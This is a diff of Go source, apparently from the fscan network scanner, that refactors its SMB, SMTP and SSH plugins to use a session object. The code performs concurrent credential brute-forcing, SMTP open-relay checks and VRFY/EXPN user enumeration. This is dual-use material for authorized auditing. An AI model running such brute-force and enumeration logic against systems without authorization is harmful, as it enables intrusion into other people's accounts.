// ListShares 列举SMB共享(SMB1使用SMB2库列举)
|
// ListShares 列举SMB共享(SMB1使用SMB2库列举)
|
||||||
func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
func (a *SMB1Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) {
|
||||||
return listSMBSharesInternal(host, port, cred, domain, timeout)
|
return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SMB2Authenticator SMB2认证器
|
// SMB2Authenticator SMB2认证器
|
||||||
type SMB2Authenticator struct{}
|
type SMB2Authenticator struct{}
|
||||||
|
|
||||||
// Authenticate 执行SMB2认证
|
// Authenticate 执行SMB2认证
|
||||||
func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error) {
|
func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error) {
|
||||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -518,15 +523,15 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ListShares 列举SMB2共享
|
// ListShares 列举SMB2共享
|
||||||
func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
func (a *SMB2Authenticator) ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) {
|
||||||
return listSMBSharesInternal(host, port, cred, domain, timeout)
|
return listSMBSharesInternal(ctx, host, port, cred, domain, timeout, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// listSMBSharesInternal 内部共享列举实现
|
// listSMBSharesInternal 内部共享列举实现
|
||||||
func listSMBSharesInternal(host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error) {
|
func listSMBSharesInternal(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error) {
|
||||||
target := net.JoinHostPort(host, strconv.Itoa(port))
|
target := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
|
|
||||||
conn, err := net.DialTimeout("tcp", target, timeout*2)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout*2)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
+32
-48
@@ -25,15 +25,16 @@ func NewSMTPPlugin() *SMTPPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检测未授权访问
|
// 检测未授权访问
|
||||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||||
common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
|
common.LogSuccess(i18n.Tr("smtp_service", target, result.Banner))
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
@@ -55,8 +56,8 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig)
|
result := TestCredentialsConcurrently(ctx, creds, authFn, "smtp", testConfig)
|
||||||
|
|
||||||
@@ -68,23 +69,22 @@ func (p *SMTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建SMTP认证函数
|
// createAuthFunc 创建SMTP认证函数
|
||||||
func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doSMTPAuth(ctx, info, cred, config, state)
|
return p.doSMTPAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doSMTPAuth 执行SMTP认证
|
// doSMTPAuth 执行SMTP认证
|
||||||
func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
resultChan := make(chan *AuthResult, 1)
|
resultChan := make(chan *AuthResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifySMTPErrorType(err),
|
ErrorType: classifySMTPErrorType(err),
|
||||||
@@ -98,7 +98,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
|
|||||||
client, err := smtp.NewClient(conn, info.Host)
|
client, err := smtp.NewClient(conn, info.Host)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifySMTPErrorType(err),
|
ErrorType: classifySMTPErrorType(err),
|
||||||
@@ -111,7 +110,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
|
|||||||
auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host)
|
auth := smtp.PlainAuth("", cred.Username, cred.Password, info.Host)
|
||||||
if err := client.Auth(auth); err != nil {
|
if err := client.Auth(auth); err != nil {
|
||||||
_ = client.Close()
|
_ = client.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifySMTPErrorType(err),
|
ErrorType: classifySMTPErrorType(err),
|
||||||
@@ -123,7 +121,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
|
|||||||
|
|
||||||
if err := client.Mail("[email protected]"); err != nil {
|
if err := client.Mail("[email protected]"); err != nil {
|
||||||
_ = client.Close()
|
_ = client.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifySMTPErrorType(err),
|
ErrorType: classifySMTPErrorType(err),
|
||||||
@@ -132,7 +129,6 @@ func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Conn: &smtpClientWrapper{client},
|
Conn: &smtpClientWrapper{client},
|
||||||
@@ -209,24 +205,24 @@ func classifySMTPErrorType(err error) ErrorType {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testUnauthorizedAccess 测试SMTP未授权访问
|
// testUnauthorizedAccess 测试SMTP未授权访问
|
||||||
func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
// 测试匿名访问
|
// 测试匿名访问
|
||||||
if result := p.testAnonymousAccess(ctx, info, config, state); result != nil {
|
if result := p.testAnonymousAccess(ctx, info, session); result != nil {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试开放中继
|
// 测试开放中继
|
||||||
if result := p.testOpenRelay(ctx, info, config, state); result != nil {
|
if result := p.testOpenRelay(ctx, info, session); result != nil {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试VRFY命令
|
// 测试VRFY命令
|
||||||
if result := p.testVRFYCommand(ctx, info, config, state); result != nil {
|
if result := p.testVRFYCommand(ctx, info, session); result != nil {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// 测试EXPN命令
|
// 测试EXPN命令
|
||||||
if result := p.testEXPNCommand(ctx, info, config, state); result != nil {
|
if result := p.testEXPNCommand(ctx, info, session); result != nil {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -234,15 +230,14 @@ func (p *SMTPPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Ho
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testAnonymousAccess 测试匿名邮件发送
|
// testAnonymousAccess 测试匿名邮件发送
|
||||||
func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *ScanResult, 1)
|
resultChan := make(chan *ScanResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -270,7 +265,6 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
@@ -288,15 +282,14 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testOpenRelay 测试开放中继
|
// testOpenRelay 测试开放中继
|
||||||
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *ScanResult, 1)
|
resultChan := make(chan *ScanResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -324,7 +317,6 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
@@ -342,21 +334,20 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, c
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testVRFYCommand 测试VRFY命令用户枚举
|
// testVRFYCommand 测试VRFY命令用户枚举
|
||||||
func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *ScanResult, 1)
|
resultChan := make(chan *ScanResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
@@ -391,7 +382,6 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo,
|
|||||||
vrfyResponse := strings.TrimSpace(string(buffer[:n]))
|
vrfyResponse := strings.TrimSpace(string(buffer[:n]))
|
||||||
|
|
||||||
if strings.HasPrefix(vrfyResponse, "250") {
|
if strings.HasPrefix(vrfyResponse, "250") {
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
@@ -414,21 +404,20 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testEXPNCommand 测试EXPN命令邮件列表枚举
|
// testEXPNCommand 测试EXPN命令邮件列表枚举
|
||||||
func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan *ScanResult, 1)
|
resultChan := make(chan *ScanResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
|
|
||||||
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil {
|
||||||
resultChan <- nil
|
resultChan <- nil
|
||||||
@@ -463,7 +452,6 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo,
|
|||||||
expnResponse := strings.TrimSpace(string(buffer[:n]))
|
expnResponse := strings.TrimSpace(string(buffer[:n]))
|
||||||
|
|
||||||
if strings.HasPrefix(expnResponse, "250") {
|
if strings.HasPrefix(expnResponse, "250") {
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &ScanResult{
|
resultChan <- &ScanResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
@@ -486,21 +474,20 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getServerInfo 获取SMTP服务器信息
|
// getServerInfo 获取SMTP服务器信息
|
||||||
func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) string {
|
func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, session *common.ScanSession) string {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
resultChan := make(chan string, 1)
|
resultChan := make(chan string, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- ""
|
resultChan <- ""
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
|
||||||
buffer := make([]byte, 1024)
|
buffer := make([]byte, 1024)
|
||||||
n, err := conn.Read(buffer)
|
n, err := conn.Read(buffer)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -508,7 +495,6 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
welcome := strings.TrimSpace(string(buffer[:n]))
|
welcome := strings.TrimSpace(string(buffer[:n]))
|
||||||
|
|
||||||
if strings.HasPrefix(welcome, "220") {
|
if strings.HasPrefix(welcome, "220") {
|
||||||
@@ -529,18 +515,17 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, c
|
|||||||
}
|
}
|
||||||
|
|
||||||
// identifyService SMTP服务识别
|
// identifyService SMTP服务识别
|
||||||
func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
serverInfo := p.getServerInfo(ctx, info, config, state)
|
serverInfo := p.getServerInfo(ctx, info, session)
|
||||||
var banner string
|
var banner string
|
||||||
|
|
||||||
if serverInfo != "" {
|
if serverInfo != "" {
|
||||||
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
|
banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo)
|
||||||
} else {
|
} else {
|
||||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "smtp",
|
Service: "smtp",
|
||||||
@@ -548,7 +533,6 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
banner = "SMTP邮件服务"
|
banner = "SMTP邮件服务"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+17
-20
@@ -34,12 +34,13 @@ func NewSSHPlugin() *SSHPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行SSH扫描
|
// Scan 执行SSH扫描
|
||||||
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 如果指定了SSH密钥,优先使用密钥认证
|
// 如果指定了SSH密钥,优先使用密钥认证
|
||||||
if config.Credentials.SSHKeyPath != "" {
|
if config.Credentials.SSHKeyPath != "" {
|
||||||
if result := p.scanWithKey(ctx, info, config, state); result != nil && result.Success {
|
if result := p.scanWithKey(ctx, info, session); result != nil && result.Success {
|
||||||
common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
|
common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
@@ -47,7 +48,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
|
|
||||||
// 如果禁用暴力破解,只做服务识别
|
// 如果禁用暴力破解,只做服务识别
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 生成测试凭据
|
// 生成测试凭据
|
||||||
@@ -63,8 +64,8 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig)
|
||||||
|
|
||||||
@@ -77,14 +78,15 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建SSH认证函数
|
// createAuthFunc 创建SSH认证函数
|
||||||
func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doSSHAuth(ctx, info, cred, config, state)
|
return p.doSSHAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doSSHAuth 执行SSH认证
|
// doSSHAuth 执行SSH认证
|
||||||
func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 创建SSH配置
|
// 创建SSH配置
|
||||||
@@ -111,9 +113,8 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 建立TCP连接
|
// 建立TCP连接
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifySSHErrorType(err),
|
ErrorType: classifySSHErrorType(err),
|
||||||
@@ -125,7 +126,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C
|
|||||||
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig)
|
sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifySSHErrorType(err),
|
ErrorType: classifySSHErrorType(err),
|
||||||
@@ -136,7 +136,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C
|
|||||||
// 创建SSH客户端
|
// 创建SSH客户端
|
||||||
client := ssh.NewClient(sshConn, chans, reqs)
|
client := ssh.NewClient(sshConn, chans, reqs)
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Conn: &sshClientWrapper{client},
|
Conn: &sshClientWrapper{client},
|
||||||
@@ -179,7 +178,8 @@ func classifySSHErrorType(err error) ErrorType {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// scanWithKey 使用SSH私钥扫描
|
// scanWithKey 使用SSH私钥扫描
|
||||||
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
keyData, err := os.ReadFile(config.Credentials.SSHKeyPath)
|
keyData, err := os.ReadFile(config.Credentials.SSHKeyPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
|
common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet
|
||||||
@@ -204,7 +204,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf
|
|||||||
KeyData: keyData,
|
KeyData: keyData,
|
||||||
}
|
}
|
||||||
|
|
||||||
result := p.doSSHAuth(ctx, info, cred, config, state)
|
result := p.doSSHAuth(ctx, info, cred, session)
|
||||||
if result.Success {
|
if result.Success {
|
||||||
if result.Conn != nil {
|
if result.Conn != nil {
|
||||||
_ = result.Conn.Close()
|
_ = result.Conn.Close()
|
||||||
@@ -222,12 +222,11 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf
|
|||||||
}
|
}
|
||||||
|
|
||||||
// identifyService 服务识别
|
// identifyService 服务识别
|
||||||
func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn, err := common.SafeTCPDial(target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "ssh",
|
Service: "ssh",
|
||||||
@@ -236,8 +235,7 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config
|
|||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
if banner := p.readSSHBanner(conn, config); banner != "" {
|
if banner := p.readSSHBanner(conn, session.Config); banner != "" {
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet
|
